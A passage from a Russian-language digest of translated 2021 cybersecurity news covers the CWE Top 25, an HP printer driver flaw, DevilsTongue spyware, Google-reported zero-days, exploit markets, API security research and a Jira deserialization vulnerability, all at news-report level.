Первое место в списке с наивысшим баллом с некоторым отрывом занимает CWE-787: Out-of-bounds Write, уязвимость, при которой программное обеспечение выполняет запись после конца или до начала предполагаемого буфера. Как и многие из уязвимостей в списке, это может привести к повреждению данных и сбоям системы, а также к возможности злоумышленников выполнить код.

«Эти слабые места опасны, потому что их часто легко найти, использовать и они могут позволить злоумышленникам полностью захватить систему, украсть данные или помешать работе приложения», - сказал Митр в своем блоге.

Mitre Corporation - американская некоммерческая организация, стоящая за структурой MITER ATT & CK - всемирно доступной базой знаний о тактике и методах противодействия, основанной на реальных наблюдениях.

Вторым в списке идет CWE-79: «Неправильная нейтрализация ввода во время создания веб-страницы», уязвимость межсайтового скриптинга, которая неправильно нейтрализует вводимые данные перед размещением на веб-сайте в качестве вывода. Это может привести к тому, что злоумышленники смогут внедрить вредоносный сценарий и позволить им украсть конфиденциальную информацию и отправить другие вредоносные запросы, особенно если они могут получить права администратора.

Третий в списке - CWE-125: Out-of-bounds Read, уязвимость, которая может позволить злоумышленникам прочитать конфиденциальную информацию из других мест памяти или вызвать сбой.

Хотя многие из уязвимостей потенциально могут быть очень опасными, если они обнаруживаются и используются киберпреступниками, слабым местам часто можно противодействовать, особенно для тех, для которых доступно исправление безопасности. Применение патчей безопасности для исправления известных уязвимостей - одна из ключевых вещей, которые организации могут сделать для защиты своих сетей от кибератак и вторжений.

В топ-25 CWE 2021 года используются данные NVD за 2019 и 2020 годы, которые включают примерно 32 500 CVE, связанных со слабым местом. Полный список доступен на сайте CWE». ***(Danny Palmer. The 25 most dangerous software vulnerabilities to watch out for // ZDNet (https://www.zdnet.com/article/the-25-most-dangerous-software-vulnerabilities-to-watch-out-for/). 23.07.2021).***

***

«HP исправила серьезную уязвимость, которая была скрыта в драйвере принтера в течение 16 лет.

Во вторник SentinelLabs опубликовала анализ уязвимости, отслеживаемый как CVE-2021-3438, и выдал CVSS-рейтинг 8,8.

Проблема безопасности описывается как «потенциальное переполнение буфера в драйверах программного обеспечения для определенных продуктов HP LaserJet и принтеров продуктов Samsung может привести к повышению привилегий».

По словам исследователей, некоторые модели принтеров HP, Xerox и Samsung содержали уязвимые драйверы, продаваемые по всему миру с 2005 года.

Рассматриваемый драйвер SSPORT.SYS устанавливается и активируется автоматически, независимо от того, была ли модель беспроводной или кабельной. Драйвер также автоматически загружается операционной системой Microsoft Windows при загрузке ПК.

«Это делает драйвер идеальным кандидатом для таргетинга, поскольку он всегда будет загружен на машину, даже если принтер не подключен», - говорят исследователи.

Уязвимая функция в драйвере - это прием данных без проверки параметров размера, что позволяет злоумышленникам теоретически переполнить буфер драйвера.

Местные злоумышленники могут повысить свои привилегии до учетной записи SYSTEM и запустить код в режиме ядра для выполнения действий, включая вмешательство в целевую машину. Тем не менее, SentinelLabs говорит, что время не было потрачено на то, чтобы найти способ использовать его в одиночку, и для успешного эксплойта может потребоваться цепочка уязвимостей.

Исследователь SentinelLabs Касиф Декель сообщил об уязвимости HP 18 февраля. Поставщик выпустил патч для устранения бреши в системе безопасности 19 мая. Никаких эксплойтов в реальных условиях обнаружено не было.

HP заявила, что затронутые модели включают серии HP LaserJet, Samsung CLP, Samsung MultiXpress и Samsung Xpress в рекомендациях по безопасности.

Поставщик предоставил патч и просит клиентов обновить свое программное обеспечение. Для этого клиенты могут посетить портал программного обеспечения HP, выбрать модель своего принтера и применить обновление.

Xerox предоставила отдельное уведомление по безопасности (.PDF), в котором названы модели Xerox B205 / B210 / B215, Phaser и WorkCentre, затронутые ошибкой». ***(Charlie Osborne. HP patches vulnerable driver lurking in printers for 16 years // ZDNet (https://www.zdnet.com/article/hp-patches-vulnerable-printer-driver-impacting-millions-of-devices/). 20.07.2021).***

***

«Организации должны предоставить надлежащий канал, по которому каждый может сообщать об уязвимостях в своих системах. Это обеспечит выявление и устранение потенциальных дыр в безопасности до того, как они будут использованы.

Установление политики раскрытия уязвимостей (VDP) также обеспечит гарантии для всех, например, исследователей безопасности, действующих добросовестно, что они не столкнутся с судебным преследованием за сообщение об уязвимости, сказал Кевин Галлерин, управляющий директор Азиатско-Тихоокеанского региона платформы bug bounty, YesWeHack.

На самом деле создание таких политик было более важным, чем запуск программ поощрения ошибок, сказал Галлерин в видеоинтервью ZDNet. Он отметил, что сегодня все больше компаний осознают потребность в VDP, детализируя «безопасную и понятную структуру», через которую можно передавать информацию об уязвимостях безопасности и как с ними обращаться в организации.

Без надлежащей политики исследователи безопасности могут быть менее склонны сообщать об уязвимости или, когда они это делают, могут не получить ответа, поскольку у сотрудников организации нет указаний относительно того, что им нужно делать.

«Информация [затем] теряется и забывается до тех пор, пока уязвимость в конечном итоге не будет использована», - сказал Галлерин, добавив, что надлежащий VDP предоставит структурированный канал для сообщения о проблемах безопасности и снижения рисков затронутой организации за счет сокращения времени их устранения. «Мы решительно выступаем за это».

Предлагаемые YesWeHack услуги включают помощь предприятиям в создании их VDP, интеграцию управления уязвимостями с их внутренними рабочими процессами, а также обзор и рекомендации изменений в их существующем VDP.

По словам Галлерина, вендор наблюдал растущий спрос на его услуги по борьбе с ошибками и услуги VDP в этом регионе, включая Китай, Индонезию и Австралию.

Компания со штаб-квартирой во Франции, офис в Сингапуре, в настоящее время выполняет программы вознаграждения за ошибки для оператора электронной коммерции в Юго-Восточной Азии Lazada и китайского производителя телекоммуникационного оборудования ZTE. Около 30% его клиентской базы находится в этом регионе, из которых половина - в Сингапуре.

Галлерин сообщил ZDNet, что YesWeHack нацелен на Азиатско-Тихоокеанский регион, чтобы обеспечить половину своей глобальной клиентуры, добавив, что платформа для выявления ошибок в настоящее время работает с примерно 10 000 исследователей безопасности в этом регионе. Он имеет глобальную сеть из более чем 25 000 исследователей безопасности.

В его команду по сортировке входят штатные сотрудники в Сингапуре и Франции, которые делят свое время между сортировкой - для оценки представленных материалов в программах поощрения ошибок - и поддержкой проектов исследований и разработок для внутреннего развертывания, а также инструментов для сообщества охотников.

Ранее он запускал частную программу поощрения ошибок для Lazada, в рамках которой охотникам за ошибками было выдано вознаграждение в размере 150 000 долларов США, но отказался сообщить, сколько уязвимостей было обнаружено. По словам Галлерина, оператор электронной коммерции начал с небольших частных упражнений по поиску ошибок, а затем постепенно расширил масштабы и запустил свою публичную программу вознаграждения за ошибки в прошлом месяце с помощью YesWeHack.

Он отметил, что большинство компаний в Азии, по сравнению с их американскими или европейскими аналогами, менее комфортно обсуждают потенциальные уязвимости в своих системах и предпочитают запускать частные программы поощрения ошибок. Однако они осознали, что, вероятно, есть бреши в безопасности, которые их собственные команды не заметили, и увидели в программах вознаграждения за ошибки способ выявления и устранения потенциальных уязвимостей, сказал он.

Он добавил, что основная цель здесь заключалась в предотвращении потенциальных утечек данных, что было общей проблемой для азиатских компаний, особенно с учетом того, что сегодня предприятия все чаще собирают и обрабатывают большие объемы личных данных клиентов.

По словам Галлерина, хакерское сообщество YesWeHack смогло найти по крайней мере одну критическую уязвимость, которая обеспечила полный доступ к пользовательским данным или инфраструктуре, в большинстве запущенных им программ по выявлению ошибок». ***(Eileen Yu. Bug bounty platform urges need for firms to have vulnerability disclosure policy // ZDNet (https://www.zdnet.com/article/bug-bounty-platform-urges-need-for-firms-to-have-vulnerability-disclosure-policy/). 16.07.2021).***

***

«Война Microsoft против частных эксплойтов и агрессивных продавцов безопасности продолжается, нанося удар по Sourgum.

15 июля Microsoft Threat Intelligence Center (MSTIC) сообщил, что редмондский гигант незаметно борется с угрозой, исходящей от операционных систем Windows от организации, получившей название «атакующий субъект частного сектора» (PSOA).

Совет, предоставленный правозащитной организацией Citizen Lab, привел Microsoft к созданию PSOA, получившего название Sourgum, компании, которая, как утверждается, продает киберoружие, включая вредоносное ПО DevilsTongue.

«Оружие с ограниченными возможностями использовалось в точных атаках, нацеленных на более чем 100 жертв по всему миру, включая политиков, правозащитников, журналистов, ученых, сотрудников посольств и политических диссидентов», - сообщает Microsoft.

Примерно половина жертв DevilsTongue проживает в Палестине, но некоторые были также обнаружены в странах, включая Израиль, Иран, Испанию / Каталонию и Соединенное Королевство.

По данным Citizen Lab, Sourgum базируется в Израиле и среди своих клиентов насчитывает правительственные учреждения по всему миру.

С помощью Citizen Lab Microsoft изучила уникальное семейство вредоносных программ, разработанное Sourgum, и теперь предлагает средства защиты от них в продуктах безопасности Windows. Это включает исправление ранее неизвестных уязвимостей, CVE-2021-31979 и CVE-2021-33771.

Эти две уязвимости были указаны как активно эксплуатируемые в последнем обновлении безопасности Microsoft, известном как Patch Tuesday, которое выпускается ежемесячно. Оба они описаны как недостатки безопасности повышения привилегий ядра Windows.

Microsoft заявляет, что эксплойты являются «ключевыми» элементами более широких цепочек атак, используемых Sourgum для нацеливания на ПК с Windows и браузеры с целью доставки DevilsTongue. Эксплойты браузера, по-видимому, используются на одном из начальных этапов атаки, когда они обслуживаются через вредоносные URL-адреса и отправляются через службы обмена сообщениями, включая WhatsApp.

Модульное вредоносное ПО описывается как «сложное» с «новыми возможностями». В то время как анализ продолжается, Microsoft заявляет, что основные функции DevilsTongue хранятся в зашифрованных файлах.DLL, расшифровываются только при загрузке в память, а данные о конфигурации и задачах отделены от основной полезной нагрузки.

DevilsTongue может использоваться как в пользовательском режиме, так и в режиме ядра и способен к перехвату.DLL, перехвату COM, развертыванию шелл-кода, сбору файлов, вмешательству в реестр, краже файлов cookie и извлечению учетных данных из браузеров. Следует отметить модуль, предназначенный для расшифровки и извлечения разговоров, происходящих через Signal.

Вредоносный код также содержит сложные механизмы запутывания и сохранения.

«С помощью этих хакерских пакетов правительственные агентства обычно выбирают цели и сами выполняют фактические операции», - говорит Microsoft. «Инструменты, тактика и процедуры, используемые этими компаниями, только увеличивают сложность, масштаб и изощренность атак. Мы серьезно относимся к этим угрозам и быстро вместе с нашими партнерами внедрили новейшие средства защиты для наших клиентов».

Данные обнаружения также были переданы более широкому сообществу специалистов по безопасности.

«Мы предоставляем это руководство в надежде, что Sourgum, вероятно, изменит характеристики, которые мы определяем для обнаружения, в следующей итерации вредоносного ПО», - добавила компания. «Однако, учитывая уровень изощренности актера, мы считаем, что результат, скорее всего, произойдет независимо от нашего общественного мнения».

В связанных новостях на этой неделе Microsoft раскрыла третью уязвимость, затрагивающую службу Windows Print Spooler, присоединившись к дуэту недостатков безопасности, известному как PrintNightmare. Отслеживаемая как CVE-2021-34481, ошибка может быть использована для получения привилегий системного уровня локально». ***(Charlie Osborne. Microsoft points the finger at Israeli spyware seller for DevilsTongue attacks // ZDNet (https://www.zdnet.com/article/microsoft-points-the-finger-at-israeli-private-exploit-seller-for-devilstongue-malware-attacks/). 16.07.2021).***

***

«Google опубликовал новые подробности о четырех уязвимостях нулевого дня, которые использовались в дикой природе ранее в этом году. Обнаруженные исследователями Google Threat Analysis Group (TAG) и Project Zero, четыре нулевых дня использовались как часть трех целевых вредоносных кампаний, которые использовали ранее неизвестные недостатки в Google Chrome, Internet Explorer и WebKit, движке браузера, используемом Apple Safari.

Исследователи Google также отметили, что 2021 год будет особенно активным для атак нулевого дня в дикой природе. К настоящему времени в этом году было публично раскрыто 33 эксплойта нулевого дня, использованных в атаках, - на 11 больше, чем общее количество с 2020 года.

Google объясняет некоторый рост числа уязвимостей нулевого дня более активными усилиями по обнаружению и раскрытию информации, но отмечает, что рост также связан с увеличением числа коммерческих поставщиков, продающих доступ к уязвимостям нулевого дня, по сравнению с началом 2010-х годов.

«Раньше возможности нулевого дня были инструментами только избранных национальных государств, у которых был технический опыт, чтобы находить уязвимости нулевого дня, превращать их в эксплойты, а затем стратегически вводить их в действие», - говорится в сообщении Google. «В середине-конце 2010-х годов на рынок вышло больше частных компаний, продающих эти возможности нулевого дня. Группам больше не нужны технические знания, теперь им просто нужны ресурсы. обнаруженные в 2021 году, попадают в эту категорию: разрабатываются коммерческими поставщиками, продаются и используются поддерживаемыми государством субъектами».

Что касается нулевого дня, обнаруженного Google, эксплойты включают CVE-2021-1879 в Safari, CVE-2021-21166 и CVE-2021-30551 в Chrome и CVE-2021-33742 в Internet Explorer.

В рамках кампании нулевого дня Safari хакеры использовали LinkedIn Messaging для нацеливания на государственных чиновников из западноевропейских стран, рассылая вредоносные ссылки, которые направляли цели на домены, контролируемые злоумышленником. Если цель щелкнет ссылку с устройства iOS, зараженный веб-сайт инициирует атаку через нулевой день.

«Этот эксплойт отключит защиту Same-Origin-Policy, чтобы собрать файлы cookie аутентификации с нескольких популярных веб-сайтов, включая Google, Microsoft, LinkedIn, Facebook и Yahoo, и отправить их через WebSocket на IP-адрес, контролируемый злоумышленником», - заявили исследователи Google TAG.. «Жертве потребуется открыть сеанс на этих веб-сайтах из Safari, чтобы файлы cookie были успешно удалены».

Исследователи Google заявили, что злоумышленники, вероятно, были частью поддерживаемого правительством России субъекта, который злоупотреблял этим нулевым днем для нацеливания на устройства iOS с более старыми версиями iOS (с 12.4 по 13.7). Команда безопасности Google сообщила о нулевом дне компании Apple, которая 26 марта выпустила патч через обновление iOS.

Две уязвимости Chrome представляют собой удаленное выполнение кода нулевого дня визуализатора и, как предполагается, использовались одним и тем же субъектом. Оба нулевых дня были нацелены на последние версии Chrome для Windows и доставлялись в виде одноразовых ссылок, отправляемых по электронной почте целевым объектам. Когда цель щелкала ссылку, ее отправляли в домены, контролируемые злоумышленником, и на их устройстве снимали отпечатки пальцев для получения информации, которую злоумышленники использовали для определения того, следует ли использовать эксплойт. Google сказал, что все цели были в Армении.

По словам Google, исследователи обнаружили уязвимость Internet Explorer, направленную на армянских пользователей с помощью вредоносных документов Office, загружающих веб-контент в браузере.

«Основываясь на нашем анализе, мы оцениваем, что описанные здесь эксплойты Chrome и Internet Explorer были разработаны и проданы одним и тем же поставщиком, обеспечивающим возможности наблюдения для клиентов по всему миру», - сказал Google.

Google также опубликовал анализ основных причин для всех четырех нулевых дней:

CVE-2021-1879: использование после освобождения в QuickTimePluginReplacement

CVE-2021-21166: проблема жизненного цикла объекта Chrome в аудио

CVE-2021-30551: путаница в типах Chrome в V8

CVE-2021-33742: запись за пределами диапазона Internet Explorer в MSHTML». ***(Natalie Gagliordi. Google details recent malware campaigns amid uptick in zero-day attacks // ZDNet (https://www.zdnet.com/article/google-details-recent-malware-campaigns-amid-uptick-in-zero-day-attacks/). 14.07.2021).***

***

«Согласно недавним выводам команды Atlas VPN, 51 процент эксплойтов, продаваемых на подпольных форумах киберпреступников, относится к продуктам Microsoft. Постоянно растущее количество опубликованных уязвимостей может означать, что влияние кибератак также возрастет.

Цифры основаны на исследовании Trend Micro Research о росте и неизбежном падении рынка эксплойтов n-day в киберпреступном подполье. Исследование проводилось в течение двух лет, с января 2019 года по декабрь 2020 года.

<div class = "infogram-embed" data-id = "02b0055f-59ef-4a11-af97-4e2475bc44c1 ″ data-type =" interactive "data-title =" 51% эксплойтов, продаваемых на подпольных форумах, являются продуктами Microsoft "> < / div> <script>! function (e, i, n, s) {var t = ”InfogramEmbeds”, d = e.getElementsByTagName (“script”) [0]; if (window [t] && window [t]. инициализировано) window [t].process && window [t].process (); else if (! e.getElementById (n)) {var o = e.createElement («script»); o.async = 1, o.id = n, o.src = ”https://e.infogram.com/js/dist/embed-loader-min.js”, d.parentNode.insertBefore (o, d)}} (document, 0, ”infogram- async »); </script>

Эксплойты Microsoft Office составили 23% от всех уязвимостей, продаваемых на подпольных форумах. Киберпреступники находят такие эксплойты привлекательными, поскольку большинство из них работают в каждой версии Word. Вредоносные файлы Excel или Word рассылаются через фишинговые электронные письма. Как только жертва открывает его, файл запускает вредоносное ПО, которое может украсть учетные данные для входа, сбросить программы-вымогатели или майнеры криптовалюты.

На эксплойты Microsoft Windows приходилось 12 процентов уязвимостей, проданных на хакерских форумах. Приобретая эксплойты Windows, злоумышленники могут получить доступ к правам администратора вашей сети или компьютера. Имея доступ к сети или компьютеру, хакеры могут распространять вредоносное ПО и получать конфиденциальную информацию.

На эксплойты протокола удаленного рабочего стола Microsoft (RDP) приходилось 10% всех продаж. Неавторизованные злоумышленники, которые берут под свой контроль эту уязвимость, могут использовать ваш компьютер, как если бы они сидели перед ним. Что еще хуже, так это то, что уязвимости RDP могут перемещаться с одного компьютера на другой после однократного заражения.

На Internet Explorer (IE) и Microsoft SharePoint пришлось по 3 процента проданных уязвимостей. Хакер, который пытается использовать уязвимость IE, размещает веб-сайт, предназначенный для этого, а затем обманом заставляет жертв посетить этот сайт.

Успешное использование уязвимости SharePoint позволит злоумышленнику выполнить действия по обеспечению безопасности в контексте учетной записи службы веб-приложения SharePoint.

По мере увеличения объема кибератак многие хакеры начали искать новые необнаруженные уязвимости, которыми они могли бы воспользоваться. Новые эксплойты означают новые методы, которые киберпреступники могут использовать для запуска угроз.

Количество опубликованных уязвимостей программного обеспечения в 2015 и 2016 годах приблизилось к 6500. В то время одним из наиболее часто используемых эксплойтов была CVE-2015-1641, обнаруженная в программном обеспечении Microsoft Office. Злоумышленник, успешно воспользовавшийся этой уязвимостью, может выполнить любую команду в целевой системе по своему выбору.

В 2017 году количество опубликованных уязвимостей удвоилось, достигнув нового пика - 14 644. Одним из самых опасных эксплойтов в этом году стал CVE-2017-0144, затронувший операционную систему Windows. Хакеры использовали эту уязвимость для доставки программ-вымогателей WannaCry, Petya / NotPetya, что привело к одной из самых разрушительных вспышек программ-вымогателей на сегодняшний день.

В последующие годы количество опубликованных уязвимостей программного обеспечения продолжало неуклонно расти. В прошлом году, в 2020 году, было зарегистрировано рекордное количество эксплойтов - 18 395…» ***(Staff Writer. 51 Percent Of Malware Exploits Sold On Dark Web For Microsoft Products // MITechNews.com (https://mitechnews.com/cyber-defense/51-percent-of-malware-exploits-sold-on-dark-web-for-microsoft-products/). 25.07.2021).***

***

«Любой, кто заинтересован в опережении атак кибербезопасности и вторжений в корпоративную сеть из-за уязвимостей интерфейса прикладного программирования (API), теперь может воспользоваться советами экспертов и отчетами по безопасности.

14 июля Salt Security объявила о запуске Salt Labs, теперь общедоступного форума для публикации исследований уязвимостей API. Благодаря исследованиям уязвимостей и угроз, а также отраслевым отчетам Salt Labs станет ресурсом для предприятий, стремящихся защитить инфраструктуру от рисков API.

Компания стремится заполнить пробел в доступной информации о рисках API и основных исследованиях уязвимостей. Salt Labs была создана как ресурс для клиентов Salt Security, а также для всей отрасли, чтобы повысить осведомленность общественности об угрозах безопасности API, укрепить инфраструктуру против рисков API и ускорить бизнес-инновации, сделав API-интерфейсы защищенными от атак и отказоустойчивыми.

По словам Солта, проблемы безопасности API стали серьезным препятствием для бизнес-инноваций.

Salt также выпустила свой первый исследовательский отчет с подробным описанием четырех недавно обнаруженных уязвимостей API, влияющих на компании, предоставляющие финансовые услуги. Этот первый отчет об исследовании угроз, «Подробные финансовые отчеты, опубликованные на платформе финансовых услуг», служит ярким примером для такого выхода.

Команда обнаружила несколько уязвимостей API, которые могут позволить злоумышленникам просматривать финансовые записи клиентов, удалять учетные записи клиентов, выполнять захват учетной записи (ATO) или создавать условия отказа в обслуживании, которые могут сделать все приложения недоступными.

API - это программные коды, которые позволяют компьютерным приложениям получать доступ к данным и взаимодействовать с внешними программными компонентами, операционными системами или микросервисами. Процесс доставляет ответы пользователя системе и отправляет ответ системы пользователю.

«С ростом количества API-интерфейсов и центральной роли, которую они играют в современных средах приложений, необходимость в объективных, актуальных и надежных исследованиях побудила нас поделиться новаторскими исследованиями безопасности API, которые наша команда проводила в течение многих лет», - сказал Рой Элияху, соучредитель и генеральный директор Salt Security.

Показательный пример

Согласно отчету Salt Security State of API Security Report, 66 процентов организаций отложили развертывание нового приложения из-за проблем с безопасностью API. Чтобы противостоять этим опасениям, исследования и отчеты Salt Labs позволят организациям улучшить свою безопасность API и уменьшить угрозы, влияющие на предприятия, ориентированные на API.

Используя глубокое техническое понимание угроз API, пробелов в системе безопасности и неправильной конфигурации, Salt Labs фокусируется на трех задачах. Он нацелен на проведение масштабных исследований угроз, выявление новейших векторов атак API и предоставление передовых методов исправления, чтобы сделать программы безопасности API более гибкими и действенными.

Исследователи Salt Labs исследовали онлайн-платформу крупного финансового учреждения, которая предоставляет услуги API тысячам банков-партнеров и финансовых консультантов. Исследователи обнаружили, что в результате множественных уязвимостей API злоумышленники могли запускать атаки, в которых:

Любой пользователь мог читать финансовые отчеты любого клиента.

Любой пользователь может удалить любые учетные записи клиентов в системе.

Любой пользователь мог завладеть любой учетной записью.

Любой пользователь мог создать условие отказа в обслуживании, которое сделало бы все приложения недоступными.

Исследователи Salt использовали следующие серьезные уязвимости безопасности API в платформе финансовых услуг:

Авторизация на уровне сломанного объекта (BOLA)

Авторизация на уровне нарушенной функции (BFLA)

Восприимчивость к изменению параметров

Неправильная проверка ввода

Стратегии отчетности

Исследователи анонимизировали все технические детали уязвимости, которые могут идентифицировать организацию, чтобы не подвергать финансовую организацию дополнительному риску. Представители Salt Lab ознакомились с этими выводами с организацией и публично поделились информацией, чтобы повысить осведомленность о безопасности API, подробно описав соответствующие шаблоны атак, технические детали и методы устранения каждой уязвимости.

По словам Майкла Исбитски, технического евангелиста Salt Security, многие проблемы с API проявляются только тогда, когда API работают в полностью интегрированном приложении, системе и архитектуре. Сам по себе анализ кода не охватит вас, и он также невозможен в случаях, когда код принадлежит сторонним лицам или интеграция с внешними сервисами.

«Тщательное тестирование API-интерфейсов во время выполнения без помощи машин - сложное и трудоемкое мероприятие. Трудно найти соответствующий опыт в предметной области, чтобы запустить все необходимые инструменты и понять результаты того, что обнаруживается, поскольку проблемы с API пересекают ряд технологии и безопасности ", - сказал он TechNewsWorld.

Скрытая озабоченность по поводу кибербезопасности

API-интерфейсы не всегда называются по имени как аспект кибербезопасности. Но API-интерфейсы лежат в основе большинства современных систем и цепочек поставок программного обеспечения.

«Многие инциденты, которые мы наблюдаем в отрасли, в том числе атаки на цепочки поставок, происходят из-за того, что API-интерфейсы остаются незащищенными или API-интерфейсы используются в качестве критического шага в цепочке атак», - сказал Исбицкий.

Он добавил, что на самом деле организациям, обеспокоенным рисками безопасности API, следует искать специальные предложения по безопасности API, разработанные как платформы. Такие решения предоставляют ряд возможностей для защиты API-интерфейсов на протяжении всего жизненного цикла.

Расходящиеся траектории

По словам Сету Кулкарни, вице-президента по стратегии NTT Application Security, распространение API и безопасность API, к сожалению, идут разными путями. API-интерфейсы распространяются экспоненциально быстрее, чем

тестирование безопасности этих самых API. Между тем создание и развертывание API стало проще, чем когда-либо.

«Изучение метаданных и анализ трафика в реальном времени становятся лучшим способом обнаружения API, чем просто их привлечение на основе отзывов разработчиков», - сказал он TechNewsWorld.

Тестирование безопасности API происходит по схеме функционального тестирования API. Кулкарни объяснил, что использование базовой структуры, предоставляемой инструментами функционального тестирования, для организации последовательности вызовов API, чтобы гарантировать, что тесты безопасности выполняются в этих последовательностях вызовов.

«Динамическое тестирование оказывается наиболее надежным способом проверки API на предмет безопасности. Динамическое тестирование адаптируется к использованию разработчиками», - добавил он.

Общие бизнес-модели

API-интерфейсы быстро становятся технической основой бизнес-моделей B2B и B2C. По словам Кулкарни, при разработке и развертывании API-интерфейсов действительно невозможно оценить все возможные места, в которых API-интерфейсы будут использоваться.

«API-интерфейсы незаметно, но быстро становятся одним из наиболее важных звеньев в цепочке поставок программного обеспечения. Организации теперь находятся на расстоянии одного уязвимого вызова API от потенциального серьезного нарушения, - предупредил он.

Основная проблема, которая становится запутанной, заключается в том, что сегодня API-интерфейсы являются фасадом к устаревшим системам, которые никогда не были предназначены для работы в сети или для использования в интегрированной среде B2B или B2C, заметил Кулкарни.

«Создав уровень API, эти устаревшие транзакционные системы получают возможность участвовать в инициативах цифровой трансформации», - сказал он.

Этот шаблон включения API унаследованных систем создает проблемы с безопасностью. В противном случае они не были бы проблемами в контролируемых доверенных зонах, для работы в которых были разработаны устаревшие системы.

Исправление безопасности API

Когда дело доходит до приложений на основе API и микросервисов, безопасности не уделяется должного внимания, что часто не является документированным или измеряемым требованием.

«Более того, даже если безопасность была бы требованием, команды разработчиков не знают, как выглядят хорошие безопасные API-интерфейсы», - отметил Кулкарни.

Он предложил следующие стратегии для преодоления этих проблем:

Всегда спрашивайте, какие меры безопасности были приняты для защиты API-интерфейсов, которые вы планируете использовать, у партнера или третьей стороны (внутренней или внешней). Если вы спросите, вы узнаете. В противном случае вы просто предположите.

Протестируйте свои API в производственной среде - будь то API-оболочки для устаревших систем или новые приложения, ориентированные на API. В производстве нет замены тестированию.

Убедитесь, что ваша группа управления продуктом документирует случаи злоупотреблений, связанных с безопасностью, в качестве требований во время разработки. Сделайте безопасность критерием выхода.

По мнению Кулкарни, группа безопасности должна включать вопросы групп разработчиков о мерах безопасности API в качестве пункта контрольного списка в критерии приемки.

Кроме того, необходимо целенаправленное обучение разработчиков, чтобы гарантировать, что для разработчиков доступно только необходимое обучение, чтобы сделать их эффективными и не перегружать их, добавил он». ***(Jack M. Germain. Salt Labs Launched To Heighten API Security Threat Awareness // ECT News Network (https://www.technewsworld.com/story/87211.html). 22.07.2021).***

***

«Институт инженерии и разработки систем внутренней безопасности, спонсируемый Министерством внутренней безопасности и управляемый MITER, опубликовал список 25 самых опасных уязвимостей программного обеспечения на 2021 год (CWE).

Эти слабые места опасны, потому что их часто легко найти, использовать и они могут позволить злоумышленникам полностью захватить систему, украсть данные или помешать работе приложения. CWE Top 25 - ценный ресурс сообщества, который может помочь разработчикам, тестировщикам и пользователям, а также руководителям проектов, исследователям безопасности и преподавателям получить представление о наиболее серьезных и текущих недостатках безопасности.

Основное различие между списками CWE Top 25 за 2020 и 2021 годы заключается в продолжающемся переходе к более конкретным слабым местам, а не к абстрактным слабостям на уровне класса.

Значительное движение вниз по сравнению с классами высокого уровня включало CWE-200: раскрытие конфиденциальной информации неавторизованному участнику; CWE-119: Неправильное ограничение операций в пределах буфера памяти; CWE-94: Неправильный контроль генерации кода («Внедрение кода»); CWE-269: неправильное управление привилегиями; и CWE-732: неправильное назначение разрешений для критического ресурса.

С относительным сокращением слабых мест на уровне класса более конкретные CWE поднялись в рейтинге, например, CWE-78: Неправильная нейтрализация специальных элементов, используемых в команде ОС («Внедрение команд ОС»); CWE-22: Неправильное ограничение имени пути к каталогу с ограничениями («обход пути»); CWE-434: неограниченная загрузка файла опасного типа; CWE-306: Отсутствует аутентификация для критической функции; CWE-502: десериализация ненадежных данных; CWE-862: Отсутствует авторизация; и CWE-276: неправильные разрешения по умолчанию.

Использование реальных данных

Для создания списка на 2021 год команда CWE использовала подход, основанный на данных, который использует опубликованные данные об общих уязвимостях и воздействиях (CVE) и соответствующие сопоставления CWE, найденные в Национальной базе данных уязвимостей (NVD) Национального института стандартов и технологий (NIST), поскольку а также оценки Common Vulnerability Scoring System (CVSS), связанные с каждым из CVE. Затем была применена формула оценки для определения уровня распространенности и опасности каждого слабого места.

В топ-25 CWE 2021 года используются данные NVD за 2019 и 2020 годы, которые включают примерно 32 500 CVE, связанных со слабым местом. Формула оценки используется для расчета ранжированного порядка слабых мест, который объединяет частоту, с которой CWE является основной причиной уязвимости, с прогнозируемой серьезностью его использования. В обоих случаях частота и серьезность нормализованы относительно минимального и максимального наблюдаемых значений…» ***(CWE top 25 most dangerous software weaknesses // BNP Media (https://www.securitymagazine.com/articles/95712-cwe-top-25-most-dangerous-software-weaknesses). 27.07.2021).***

***

«Atlassian выпустила исправление для критической уязвимости во многих версиях своих продуктов Jira Data Center и Jira Service Management Data Center, которая может привести к выполнению произвольного кода.

Atlassian - это платформа, которую используют 180000 клиентов для разработки программного обеспечения и управления проектами, а Jira - это ее собственный инструмент для отслеживания ошибок и гибкого управления проектами.

В среду Atlassian выпустила рекомендации по безопасности, касающиеся уязвимости, которая отслеживается как CVE-2020-36239. Ошибка может позволить удаленным злоумышленникам, не прошедшим проверку подлинности, выполнить произвольный код в некоторых продуктах Jira Data Center.

BleepingComputer получил электронное письмо, которое Atlassian отправило корпоративным клиентам в среду, в котором содержался призыв обновить их как можно скорее.

Уязвимость связана с отсутствием проверки аутентификации в реализации Jira Ehcache, который представляет собой распределенный кеш Java с открытым исходным кодом для кэширования общего назначения, Java EE и облегченные контейнеры, которые используются для повышения производительности и упрощают масштабируемость.

Atlassian сообщил, что ошибка появилась в версии 6.3.0 Jira Data Center, Jira Core Data Center, Jira Software Data Center и Jira Service Management Data Center (известный как Jira Service Desk до 4.14).

Согласно рекомендациям по безопасности Atlassian, этот список продуктов раскрывает сетевую службу удаленного вызова метода Ehcache (RMI), которую злоумышленники, которые могут подключиться к службе через порт 40001 и,

возможно, 40011, могут использовать для «выполнения произвольного кода по своему выбору в Jira». через десериализацию из-за отсутствия аутентификации.

RMI - это API, который действует как механизм, обеспечивающий удаленную связь между программами, написанными на Java. Он позволяет объекту, находящемуся на одной виртуальной машине Java (JVM), вызывать объект, работающий на другой JVM; Часто это одна программа на сервере и одна на клиенте. Преимущество RMI, как описывает его BleepingComputer, заключается в том, что «программисты могут вызывать методы, присутствующие в удаленных объектах, например, те, которые присутствуют в приложении, запущенном в общей сети, прямо из своего приложения, как если бы они запускали локальный метод или процедуру».

Atlassian «настоятельно предлагает» ограничить доступ к портам Ehcache только для экземпляров центра обработки данных, но отметил, что есть предостережение: «Исправленные версии Jira теперь потребуют общего секрета, чтобы разрешить доступ к сервису Ehcache», - говорится в сообщении.

Затронутые версии

Это уязвимые версии Jira Data Center и Jira Service Management Data Center:

Jira Data Center, Jira Core Data Center и Jira Software Data Center - диапазоны

6.3.0 <= версия <8.5.16

8.6.0 <= версия <8.13.8

8.14.0 <= версия <8.17.0

Центр обработки данных Jira Service Management - диапазоны

2.0.2 <= версия <4.5.16

4.6.0 <= версия <4.13.8

4.14.0 <= версия <4.17.0

Центр обработки данных Jira, Центр обработки данных Jira Core и Центр обработки данных Jira Software

Все версии 6.3.x, 6.4.x

